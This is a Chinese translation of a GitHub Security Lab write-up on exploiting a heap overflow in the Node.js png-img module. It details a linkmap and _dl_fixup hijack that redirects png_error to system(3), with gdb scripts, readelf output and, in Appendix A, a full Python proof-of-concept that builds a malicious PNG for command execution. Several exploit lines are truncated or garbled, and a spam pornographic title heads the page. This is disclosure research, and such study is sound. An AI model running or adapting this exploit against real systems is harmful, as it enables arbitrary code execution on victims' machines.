自拍偷在线精品自拍偷,亚洲欧美中文日韩v在线观看不卡

深入考察解釋型語言背后隱藏的攻擊面,Part 2(四)

安全 應用安全
在本文中,我們將深入地探討,在通過外部函數(shù)接口(Foreign Function Interface,F(xiàn)FI)將基于C/C++的庫“粘合”到解釋語言的過程中,安全漏洞是如何產生的。

在本文中,我們將深入地探討,在通過外部函數(shù)接口(Foreign Function Interface,F(xiàn)FI)將基于C/C++的庫“粘合”到解釋語言的過程中,安全漏洞是如何產生的。

接上文:

 

[[374305]]

戰(zhàn)略規(guī)劃

我們知道,雖然已經可以完全控制linkmap,但我們仍無法控制通過硬編碼PLT參數(shù)傳遞給解析器代碼的reloc_arg參數(shù),在我們的示例中,png_error的參數(shù)為0x11d(285)。這個值的作用,是用作png-img模塊的重定位段(.rela.plt) 的索引。

  1. anticomputer@dc1:~$ readelf -r ~/node_modules/png-img/build/Release/png_img.node 
  2. … 
  3. Relocation section '.rela.plt' at offset 0x9410 contains 378 entries: 
  4.   Offset          Info           Type           Sym. Value    Sym. Name + Addend 
  5. … 
  6. 000000263900  011000000007 R_X86_64_JUMP_SLO 000000000001cae0 png_error + 0 
  7. ... 

除此之外,我們也不知道被破壞的linkmap在內存中的位置。同時,由于堆的基地址是隨機的,所以,我們唯一已知的數(shù)據都是拜測試平臺上node二進制文件的非PIE特性所賜。因此,我們仍然無法在內存中的已知位置處偽造相應的段,以便與我們精心制作的linkmap一起使用。

盡管如此,我們現(xiàn)在已經到了有趣的部分:制定戰(zhàn)略,考慮如何將我們的堆內存控制與我們對解析器和目標二進制的了解結合起來,重定向執(zhí)行流程。

我們的既定目標是通過加載帶有png-img的惡意PNG來執(zhí)行任意命令。

針對任意命令執(zhí)行的頭腦風暴

我們回憶一下,png_ptr分塊與linkmap分塊是相鄰的。并且,linkmap的第一個字段是l_addr字段,這個字段應該就是庫的基地址,各種重定位和函數(shù)偏移都是以它為基礎的。

我們可以覆蓋堆數(shù)據,粒度為rowbytes,簡單來說就是我們PNG圖片的寬度。libpng接受的最小的rowbytes值與用于溢出的高度值結合起來就是3,也就是說,我們可以采取的最小的堆覆蓋步驟是每行迭代3個字節(jié)。在little endian平臺上,我們可以覆蓋linkmap的l_addr字段中最低有效字節(jié),以使png_error解析在其預期的函數(shù)起始地址之外,而不會破壞linkmap中的任何其他指針。然而,這使得我們無法在調用錯誤對齊的png_error時控制png_ptr參數(shù),因為控制這些數(shù)據需要覆蓋一個完整的linkmap。事實證明,在png_error附近沒有足夠多的有用指令來控制進程。由于ASLR的原因,我們無法對l_addr進行更激進的局部覆蓋,因為我們很快就會碰到庫基地址的熵區(qū)域,而且我們只有一次嘗試機會。

所以,我們需要重新規(guī)劃一下。

理想情況下,我們設計一個場景,其中我們可以為png_error重定位索引285提供任意重定位記錄。這樣的話,我們就能夠完全控制(偽造的)符號表的索引。

我們可以將node的GOT段(其中包含許多已經解析好的libc指針)用作一個偽造的符號表,這樣我們精心制作的重定位記錄就能以獲取一個現(xiàn)有l(wèi)ibc地址作為符號的sym->st_value的方式來索引node GOT。然后,我們可以借助對l->l_addr的控制能力,從這個現(xiàn)有的libc地址進行偏移,并將執(zhí)行重定向到我們希望的任何其他libc的.text段地址。

由于我們可以在解析png_error時控制加載到rdi寄存器中的png_ptr數(shù)據(即,根據Linux 64bit intel平臺上使用的System V AMD64 ABI的第一個參數(shù)),我們可以設法解析為system(3),并從我們控制之下的png_ptr數(shù)據中提供一個任意的命令來執(zhí)行。

由于最終修復的重定位偏移量也處于我們精心制作的重定位記錄的控制之下,所以,我們可以簡單地將l->l_addr值加到它上面,并將其指向某個安全的內存位置,以便在控制進程之前,在重定位修復中幸存下來。

這將是一個理想的方案。不過,當前面臨的挑戰(zhàn)是:在已知位置沒有受控數(shù)據,也無法控制reloc_arg的情況下,我們如何提供任意的重定位記錄?

曙光乍現(xiàn)

面對上面所說的挑戰(zhàn),一個重要的線索是,l_info[DT_JMPREL]是通過對指向.dynamic段的指針以解除引用的方式獲得的。前面說過,解析器并不直接引用它需要訪問的各個段,而是獲取指向所需節(jié)的.dynamic條目的指針,然后查詢其d_ptr字段以獲得指向相關段的實際指針。

更直白地說,解析器將使用我們的受控指針來獲取l_info[DT_JMPREL],并在該指針的偏移量8處,獲取另一個指針值,這個指針值應該就是實際的段地址。

這對我們有什么幫助呢?

好吧,我們說過:我們可以把data_分塊放到堆上的任意位置,但我們無法可靠地把它擠在linkmap和png_ptr分塊之間。但是,如果我們把它放在linkmap分塊前面的某個地方會怎樣呢?這將導致覆蓋大量的堆空間,從而控制這些堆空間中的內容。

在利用漏洞的時候,我們與堆的交互是非常有限的,因為沒有很多的分配或釋放操作發(fā)生。實際上,我們只是在一個循環(huán)中,簡單地將我們控制的數(shù)據行寫入堆中,直到用完行數(shù)據,這時,png_error的解析邏輯就啟動了。

所以,至少在我們的PoC場景中,我們可以有效地覆蓋相當一部分堆內存,直到達到我們需要控制的數(shù)量為止,這不會帶來太多的穩(wěn)定性問題。

我們還知道,我們處理的是一個非PIE二進制文件。所以,我們知道它的.data段的具體地址。在node的.data段中,會含有大量的結構體,這些結構體在運行時可能含有指向堆內存的指針。如果我們覆蓋了堆中足夠多的內存空間,其中一些指針就可能指向我們控制的數(shù)據,準確來說,這些指針將位于.data段的靜態(tài)位置。

那么,如果我們重新調整其中一個.data位置的用途,將其用于我們的l_info[DT_JMPREL]的.dynamic條目指針,結果會如何呢?我們也許可以用它來為 _dl_fixup 提供一個完全受控的重定位記錄。由于在我們的目標平臺上,重定位記錄的大小是24(3x8字節(jié)),而png_error reloc_arg的大小是285,只要我們可以將正確對齊的重定位記錄放置在距獲取堆指針的node .data的285x24偏移處,我們就應該能夠破壞解析器的邏輯。

隨后,我們可以使用類似的方法找到一個靜態(tài)位置,在+8處包含一個指向node二進制代碼GOT的指針,并將其用作l_info [DT_SYMTAB] .dynamic條目指針。在與制作好的重定位記錄一致的情況下,我們可以索引到節(jié)點GOT中,從而獲得一個現(xiàn)有的libc指針值,并使用我們制作好的linkmap的l_addr字段作為到一個所需的libc函數(shù)的增量,在我們的例子中,這個函數(shù)就是system(3)。

深入考察解釋型語言背后隱藏的攻擊面,Part 2(四)

綜合起來

現(xiàn)在,我們已經有了一個初步的漏洞利用策略,我們就必須收集所有的要素,來將我們的攻擊計劃付諸實施。

從漏洞利用的可靠性的角度來看,我們當前策略的缺點是它高度依賴二進制代碼,并且對堆布局高度敏感。因此,我們認為這充其量只能算是一個PoC。因為它高度依賴于越來越少見的非PIE node的二進制代碼,以及從data_ chunks到linkmap和png_ptr chunks的可預測堆偏移。

話雖如此,我們拿它在啟用了各種防御功能的系統(tǒng)上來練練手,還是非常不錯的。

為了把我們的策略付諸實施,我們需要:

  • 能把溢出分塊放到linkmap分塊的前面data_分塊的合適大小。
  • data_ 分塊和linkmap分塊之間的偏移量。
  • 從node二進制代碼GOT到偏移量的合適的libc指針。
  • 一個已知的node指針,指向一個指向node GOT基址的指針。
  • 一個已知的node指針,指向一個指向受控堆內存的指針。
  • 從源libc指針到目標libc函數(shù)指針的偏移量。
  • 一個用于接收最終的_dl_fixup重定位寫入的安全的內存區(qū)域。

首先,讓我們找到一個合適的空閑塊,以便在調用PngImg::PngImg構造函數(shù)時,可以將data_分塊保存到這個空閑塊中。我們可以使用gef的heap bins命令來顯示哪些bins有可用的空閑分塊,以及它們在內存中的位置。

我們要尋找的是一個與linkmap分塊的位置離得較遠的分塊,這樣我們就有很好的機會通過node的.data的堆指針從堆中提供可控的重定位記錄。但是,我們也不想因為擔心不穩(wěn)定而破壞整個堆的內容。

我們可以在unsorted的bin中找到一個看似合適的大小為0x2010的空閑塊:

  1. ─────────────────────────────────────── Unsorted Bin for arena 'main_arena' ───────────────────────────────────────[+] unsorted_bins[0]: fw=0x271f0b0bk=0x272c610 
  2.  →   Chunk(addr=0x271f0c0size=0x2010flags=PREV_INUSE)   →   Chunk(addr=0x2722ef0size=0x1b30flags=PREV_INUSE)   →   Chunk(addr=0x2717400size=0x430flags=PREV_INUSE)   →   Chunk(addr=0x272c620size=0x4450flags=PREV_INUSE
  3. [+] Found 4 chunks in unsorted bin. 

通過將data_ size設置為0x2010,我們可以將這個空閑塊塞進這個位于偏移量0x3950處的分塊中,這個分塊最終將成為我們的linkmap分塊。當然,這個假設在任何現(xiàn)實情形下都是非常不穩(wěn)定的,但在我們的練習中,不妨假設它是成立的。

同時,我們讓rowbytes(寬度)取值為16,以便為堆溢出提供一個已經對齊的、細粒度的寫入原語。

我們注意到,由于符號表項長24個字節(jié),而St_value字段在Symbol結構體中的偏移量為8,所以,我們從node二進制GOT中選擇的libc指針(用作St_value),必須位于距24字節(jié)對齊索引的偏移量8處。例如,一個指定Symtab索引為1的重定位記錄,將意味著在node GOT的偏移量32處取值,并將其作為Symbol的st_value。

我們還注意到,偽造的符號條目的st_other字段決定了我們是否在_dl_fixup中根據符號的可見性來進入更復雜的符號查找路徑。因為我們喜歡盡可能地保持簡單,所以,對于在我們的st_value字段之前的GOT條目,應該設法不讓它通過_dl_fixup中的if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0)的檢查。這實際上只是意味著偽造的符號表條目中st_other字段(字節(jié)6)的低2位不應該是0。當然,這需要一定的運氣,但大多數(shù)GOT段中都存在符合這一要求的指針。另外,可見性檢查是使用以下宏完成的:

  1. elf.h: 
  2.   
  3.   
  4. /* How to extract and insert information held in the st_other field.  */ 
  5. #define ELF32_ST_VISIBILITY(o)  ((o) & 0x03) 
  6.   
  7.   
  8. /* For ELF64 the definitions are the same.  */ 
  9. #define ELF64_ST_VISIBILITY(o)  ELF32_ST_VISIBILITY (o) 
  10.   
  11.   
  12. /* Symbol visibility specification encoded in the st_other field.  */ 
  13. #define STV_DEFAULT     0               /* Default symbol visibility rules */ 
  14. #define STV_INTERNAL    1               /* Processor specific hidden class */ 
  15. #define STV_HIDDEN      2               /* Sym unavailable in other modules */ 
  16. #define STV_PROTECTED   3               /* Not preemptible, not exported */ 

在我們的測試平臺上,getockopt的node二進制GOT條目很符合我們的要求:它的前面有一個指針值,這個指針值會通過ST_VISIBILITY檢查,這樣我們就不必在linkmap中使用更復雜的解析器邏輯。所以,我們將使用getockopt來偏移到所需的系統(tǒng)libc目標。這兩個libc偏移量之間的差值將是我們在linkmaps l_addr字段中設置的delta值。

接下來,讓我們首先從node二進制代碼中收集我們需要的所有地址信息。

  1. # grab the libc offsets of getsockopt and system using readelf -s, 
  2. anticomputer@dc1:~$ readelf -s /lib/x86_64-linux-gnu/libc-2.27.so 
  3. ... 
  4.   1403: 000000000004f550    45 FUNC    WEAK   DEFAULT   13 system@@GLIBC_2.2.5 
  5.      959: 0000000000122830    36 FUNC    WEAK   DEFAULT   13 getsockopt@@GLIBC_2.2.5 
  6.   
  7. # determine the node binary GOT entry for getsockopt with readelf -r 
  8. anticomputer@dc1:~$ readelf -r /usr/bin/node | grep getsockopt 
  9. 00000264d8f8  011800000007 R_X86_64_JUMP_SLO 0000000000000000 getsockopt@GLIBC_2.2.5 + 0 
  10.   
  11. # grab the node GOT section start address with readelf -t 
  12. anticomputer@dc1:~$ readelf -t /usr/bin/node 
  13. There are 40 section headers, starting at offset 0x274f120: 
  14.   
  15. Section Headers: 
  16.   [Nr] Name 
  17.        Type              Address          Offset            Link 
  18.        Size              EntSize          Info              Align 
  19.        Flags 
  20. … 
  21.   [26] .got 
  22.        PROGBITS               PROGBITS         000000000264d038  000000000204d038  0 
  23.        0000000000000fc8 0000000000000008  0                 8 
  24.        [0000000000000003]: WRITE, ALLOC 

接下來,我們必須在node的.data段中尋找這樣一個堆指針,它指向位于我們控制的偏移量285x24處的數(shù)據。通過一個小型的GDB腳本,我們就可以很快找到符合要求的候選者。我們的腳本將搜索node的.data段,以尋找位于我們控制的數(shù)據區(qū)域內或其附近的堆指針。

注意:在啟用ASLR后,這些堆地址將在每次運行時發(fā)生變化,所以這個腳本示例只與我們的調試會話快照相關。然而,當實際運行漏洞利用代碼時,考慮到面對的是非PIE型的node二進制代碼,所以,我們可以預期得到一個一致的.data指針位置,并期望該位置將包含用于實際運行上下文的可用堆指針。

  1. gef?  set $c=(unsigned long long *)0x264c000 
  2. gef? 
  3. gef?  set $done=1 
  4. gef?  while ($done) 
  5.  >if ((*$c&0xffffffffffff0000)==0x02720000) 
  6.   >set $done=0 
  7.   >end 
  8.  >set $c=$c+1 
  9.  >end 
  10. gef?  p/x $c 
  11. $551 = 0x26598c8 
  12. gef?  x/3gx (*($c-1))+285*24 
  13. 0x2726508:      0x00007fff00000013      0x0000000000000000 
  14. 0x2726518:      0x0000000000000021 
  15. gef?  set $done=1 
  16. gef?  while ($done) 
  17.  >if ((*$c&0xffffffffffff0000)==0x02720000) 
  18.   >set $done=0 
  19.   >end 
  20.  >set $c=$c+1 
  21.  >end 
  22. gef?  p/x $c 
  23. $552 = 0x265b9e8 
  24. gef?  x/3gx (*($c-1))+285*24 
  25. 0x2722f10:      0x4141414141414141      0x4141414141414141 
  26. 0x2722f20:      0x4141414141414141 
  27. gef?  x/x 0x265b9e0 
  28. 0x265b9e0 
  29. gef? 

所以我們找到了一個潛在可用的.data位置(0x265b9e0),該位置將包含一個位于偏移量285x24處的堆指針,該指針將指向受控數(shù)據。

最后,我們必須在node二進制代碼中找到這樣一個位置:它在+8處包含一個指向node的.got段的指針。這并非難事,因為node二進制代碼肯定會引用各個二進制段。

  1. objdump -h: 
  2.  25 .got          00000fc8  000000000264d038  000000000264d038  0204d038  2**3 
  3.   
  4.   
  5. (gdb) set $p=(unsigned long long *)0x400000 # search from node .text base upwards 
  6. (gdb) while (*$p!=0x000000000264d038) 
  7.  >set $p=$p+1 
  8.  >end 
  9. (gdb) x/x $p 
  10. 0x244cf20:      0x000000000264d038 
  11. (gdb) 

現(xiàn)在,我們已經收集好了所有的素材,這樣就可以編寫PoC代碼了。總結一下,我們將構建一個偽造的linkmap,它符合以下約束條件:

  • l_addr字段將是libc的getockopt偏移量和libc的系統(tǒng)偏移量之間的增量。
  • l_info[DT_STRTAB]條目將是一些有效的指針值,因為我們的目的是跳過基于字符串的符號查找,它只需要能夠安全地解除引用即可。
  • l_info[DT_SYMTAB]條目將是一個指向某個位置的指針,該位置在+8處有一個指向node的.got段起始地址的指針。
  • l_info[DT_JMPREL]條目將是指向某個位置的指針,該位置在+8處包含一個堆指針,該指針基于png_error解析的reloc_arg值指向偏移量285 x 24處的受控偽造重定位記錄。

偽造的重定位記錄將為偽造的符號表(node的二進制代碼的.got段)提供一個索引,這樣符號的st_value字段就是之前解析的指向getockopt的libc指針。它還將提供一個重定位偏移量(它是相對于safe-to-write內存區(qū)域的),這樣我們的成果就可以在_dl_fixup中的最后一次重定位寫入操作后幸存下來。

解析器將把我們在linkmap的l_addr字段中設置的libc增量與偽造的符號的st_value字段相加,其中st_value字段存放的是解析的getsockopt libc函數(shù)指針值。相加之后,得到的就是system(3)函數(shù)的libc地址。

由于我們還破壞了png_error的png_ptr參數(shù),因此,當我們最終從為png_error劫持的_dl_resolve跳轉到system(3)時,我們能夠提供并執(zhí)行任意命令。對于我們的PoC來說,我們將執(zhí)行“touch /tmp/itworked”命令。

用我們的PoC腳本準備好觸發(fā)漏洞的PNG文件后,就可以將其移動到我們的調試環(huán)境中了:

  1. ? ~ ? python3 x_trigger.py 
  2. ? ~ ? file trigger.png 
  3. trigger.png: PNG image data, 16 x 268435968, 8-bit grayscale, non-interlaced 
  4. ? ~ ?  scp trigger.png anticomputer@builder:~/ 
  5. trigger.png                                                                                                                                                                                          100% 1024     1.7MB/s   00:00 
  6. ? ~ ? 

我們先在調試器里面運行易受攻擊的node程序,并將斷點設置在system(3)上:

  1. gef?  r ~/pngimg.js 
  2. ... 
  3. [#0] 0x7ffff6ac6fc0 → do_system(line=0x2722ef0 "touch /tmp/itworked #", 'P' 
  4. [#1] 0x7ffff4030e63 → png_read_row() 
  5. [#2] 0x7ffff4032899 → png_read_image() 
  6. [#3] 0x7ffff40226d8 → PngImg::PngImg(char const*, unsigned long)() 
  7. [#4] 0x7ffff401c8fa → PngImgAdapter::New(Nan::FunctionCallbackInfo 
  8. [#5] 0x7ffff401c56f → _ZN3Nan3impL23FunctionCallbackWrapperERKN2v820FunctionCallbackInfoINS1_5ValueEEE() 
  9. [#6] 0xb9041b → v8::internal::MaybeHandle 
  10. [#7] 0xb9277d → v8::internal::Builtins::InvokeApiFunction(v8::internal::Isolate*, bool, v8::internal::Handle 
  11. [#8] 0xea2cc1 → v8::internal::Execution::New(v8::internal::Isolate*, v8::internal::Handle 
  12. [#9] 0xb28ed6 → v8::Function::NewInstanceWithSideEffectType(v8::Local 
  13. ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────── 
  14. Thread 1 "node" hit Breakpoint 1, do_system (line=0x2722ef0 "touch /tmp/itworked #", 'P' 
  15. 56      { 
  16. gef?  p "success!" 
  17. $1 = "success!" 
  18. gef? 

太棒了!看起來代碼在調試階段一切正?!,F(xiàn)在,讓我們在沒有附加調試器的情況下運行一下。

  1. anticomputer@dc1:~/glibc/glibc-2.27/elf$ rm /tmp/itworked 
  2. anticomputer@dc1:~/glibc/glibc-2.27/elf$ /usr/bin/node ~/pngimg.js 
  3. Segmentation fault (core dumped) 
  4. anticomputer@dc1:~/glibc/glibc-2.27/elf$ ls -alrt /tmp/itworked 
  5. -rw-rw-r-- 1 anticomputer anticomputer 0 Nov 23 20:53 /tmp/itworked 
  6. anticomputer@dc1:~/glibc/glibc-2.27/elf$ 

盡管node進程確實因為堆損壞而發(fā)生了崩潰,但是,這一切都發(fā)生在實現(xiàn)任意命令執(zhí)行之后。

無論如何,我們的任務已經完成了。

我們的PoC開發(fā)任務現(xiàn)在已經大功告成:我們已經為利用png-img FFI漏洞成功打通了所有環(huán)節(jié)。雖然從攻擊者的角度來看,可靠性仍然是現(xiàn)實利用過程中的一個令人擔憂的問題,但這足以讓我們證明該漏洞的潛在影響。

讀者可以在附錄A中找到完整的exploit代碼。

小結

在本系列文章中,我們以Node.js FFI漏洞的利用過程為例,為讀者深入介紹了隱藏在解釋型語言底層攻擊面。當然,我們的最終目標是為大家演示內存安全漏洞是如何通過基于FFI的攻擊面潛入解釋型語言應用程序的。同時,我們?yōu)樽x者介紹了exploit的開發(fā)之旅,并演示了攻擊者是如何評估代碼中的bug的潛在利用價值的。

附錄A: png-img PoC exploit

  1. # PoC exploit for GHSL-2020-142, linkmap hijack demo 
  2.   
  3.   
  4. """ 
  5. anticomputer@dc1:~/glibc/glibc-2.27/elf$ uname -a 
  6. Linux dc1 4.15.0-122-generic #124-Ubuntu SMP Thu Oct 15 13:03:05 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux 
  7.   
  8.   
  9. anticomputer@dc1:~/glibc/glibc-2.27/elf$ node -v 
  10. v10.22.0 
  11.   
  12.   
  13. anticomputer@dc1:~/glibc/glibc-2.27/elf$ npm list png-img 
  14. /home/anticomputer 
  15. └── png-img@2.3.0 
  16.   
  17.   
  18. anticomputer@dc1:~/glibc/glibc-2.27/elf$ cat /etc/lsb-release 
  19. DISTRIB_ID=Ubuntu 
  20. DISTRIB_RELEASE=18.04 
  21. DISTRIB_CODENAME=bionic 
  22. DISTRIB_DESCRIPTION="Ubuntu 18.04.4 LTS" 
  23. """ 
  24.   
  25.   
  26. from PIL import Image 
  27. import os 
  28. import struct 
  29. import sys 
  30. import zlib 
  31.   
  32.   
  33. def patch(path, offset, data): 
  34.     f = open(path, 'r+b') 
  35.     f.seek(offset) 
  36.     f.write(data) 
  37.     f.close() 
  38.   
  39.   
  40. # libc binary info 
  41. libc_system_off = 0x000000000004f550 
  42. libc_getsockopt_off = 0x0000000000122830 
  43. libc_delta = (libc_system_off - libc_getsockopt_off) & 0xffffffffffffffff 
  44.   
  45.   
  46. # node binary info 
  47. node_getsockopt_got = 0x00000264d8f8 
  48. node_got_section_start = 0x000000000264d038 
  49. node_safe_ptr = 0x000000000264e000 + 0x1000 
  50.   
  51.   
  52. # calculate what our reloc index should be to align getsockopt as sym->st_value 
  53. node_reloc_index_wanted = int((node_getsockopt_got-node_got_section_start)/8) - 1 
  54. if node_reloc_index_wanted % 3: 
  55.     print("[x] node .got entry not aligned to reloc record size ...") 
  56.     sys.exit(0) 
  57. node_reloc_index = int(node_reloc_index_wanted/3) 
  58.   
  59.   
  60. # our l_info['DT_SYMTAB'] entry is pointer that at +8 has a pointer to node's got section 
  61. dt_symtab_p = 0x244cf20-8 
  62.   
  63.   
  64. # our l_info['DT_JMPREL'] entry is a pointer that at +8 has a heap pointer to our fake reloc records 
  65. dt_jmprel_p = 0x265b9e0-8 
  66.   
  67.   
  68. # our l_info['DT_STRTAB'] entry is just some valid pointer since we skip string lookups 
  69. dt_symtab_pdt_symtab_p = dt_symtab_p 
  70.   
  71.   
  72. # build our heap overwrite 
  73. trigger = 'trigger.png' 
  74. heap_rewrite = b'' 
  75. # pixel bits is 8, set rowbytes to 16 via width 
  76. width = 0x10 
  77. heap_data_to_linkmap_off = 0x3950-0x10 # offset from data_ chunk to linkmap chunk 
  78. heap_data_chunk_size = 0x2010 # needs to be aligned on width 
  79. heap_linkmap_chunk_size = 0x4e0 
  80.   
  81.   
  82. # spray fake reloc records up until linkmap chunk data 
  83. fake_reloc_record = b'' 
  84. fake_reloc_record += struct.pack('<Q', (node_safe_ptr - libc_delta) & 0xffffffffffffffff) # r_offset 
  85. fake_reloc_record += struct.pack('<Q', (node_reloc_index<<32) | 7) # r_info, type: ELF_MACHINE_JMP_SLOT 
  86. fake_reloc_record += struct.pack('<Q', 0xdeadc0dedeadc0de) # r_addend 
  87. reloc_record_spray = b'' 
  88. reloc_align = b'' 
  89. reloc_record_spray += reloc_align 
  90. reloc_record_spray += fake_reloc_record * int((heap_data_to_linkmap_off-len(reloc_align))/24) 
  91. reloc_record_spray += b'P' * (heap_data_to_linkmap_off-len(reloc_record_spray)) 
  92.   
  93.   
  94. heap_rewrite += reloc_record_spray 
  95.   
  96.   
  97. # linkmap chunk overwrite 
  98. fake_linkmap = b'' 
  99. # linkmap chunk header 
  100. fake_linkmap += struct.pack('<Q', 0x4141414141414141) 
  101. fake_linkmap += struct.pack('<Q', 0x4141414141414141) # keep PREV_INUSE 
  102. # start of linkmap data 
  103. fake_linkmap += struct.pack(' 
  104. fake_linkmap += struct.pack('<Q', 0xdeadc1dedeadc0de) * 12 # pad 
  105. fake_linkmap += struct.pack(' 
  106. fake_linkmap += struct.pack(' 
  107. fake_linkmap += struct.pack('<Q', 0xdeadc2dedeadc0de) * 16 # pad 
  108. fake_linkmap += struct.pack(' 
  109. # pad up until png_ptr chunk 
  110. fake_linkmap += b'P' * (heap_linkmap_chunk_size-len(fake_linkmap)) 
  111.   
  112.   
  113. heap_rewrite += fake_linkmap 
  114.   
  115.   
  116. # png_ptr chunk overwrite, this is where we pack our argument to system(3) 
  117. cmd = b'touch /tmp/itworked #' 
  118. png_ptr = b'' 
  119. # png_ptr chunk header 
  120. png_ptr += struct.pack('L', crc)) 
  121.   
  122.   
  123. # for playing with the early file allocation itself 
  124. f = open(trigger, 'ab') 
  125. f_size = os.path.getsize(trigger) 
  126. f_size_wanted = 1024 
  127. f.write(b'P'* (f_size_wanted - f_size)) 
  128. f.close() 

本文翻譯自:https://securitylab.github.com/research/now-you-c-me-part-two

 

責任編輯:趙寧寧 來源: 嘶吼網
相關推薦

2021-01-05 09:51:18

攻擊面語言安全漏洞

2020-12-30 10:26:47

攻擊面語言安全漏洞

2021-01-03 10:44:45

攻擊面語言安全漏洞

2020-12-15 13:24:41

攻擊面語言安全漏洞

2020-12-10 14:37:43

攻擊面語言安全漏洞

2020-06-02 09:50:40

信息安全數(shù)據技術

2022-04-27 05:36:51

攻擊面網絡攻擊網絡安全

2021-01-21 21:07:03

信息安全漏洞治理

2022-12-07 10:28:22

2021-07-09 09:09:47

ASM攻擊面管理安全觀察

2022-02-14 17:13:46

攻擊面管理網絡安全

2022-06-16 10:02:39

EASM攻擊面管理

2022-07-29 12:42:35

攻擊面管理

2018-11-03 05:00:29

微隔離網絡攻擊漏洞

2021-06-30 10:10:01

企業(yè)攻擊漏洞網絡安全

2021-11-29 18:13:31

攻擊面漏洞網絡攻擊

2020-08-31 10:54:05

勒索軟件漏洞網絡安全

2018-11-19 22:59:31

2014-03-19 10:25:14

2023-08-24 12:13:40

點贊
收藏

51CTO技術棧公眾號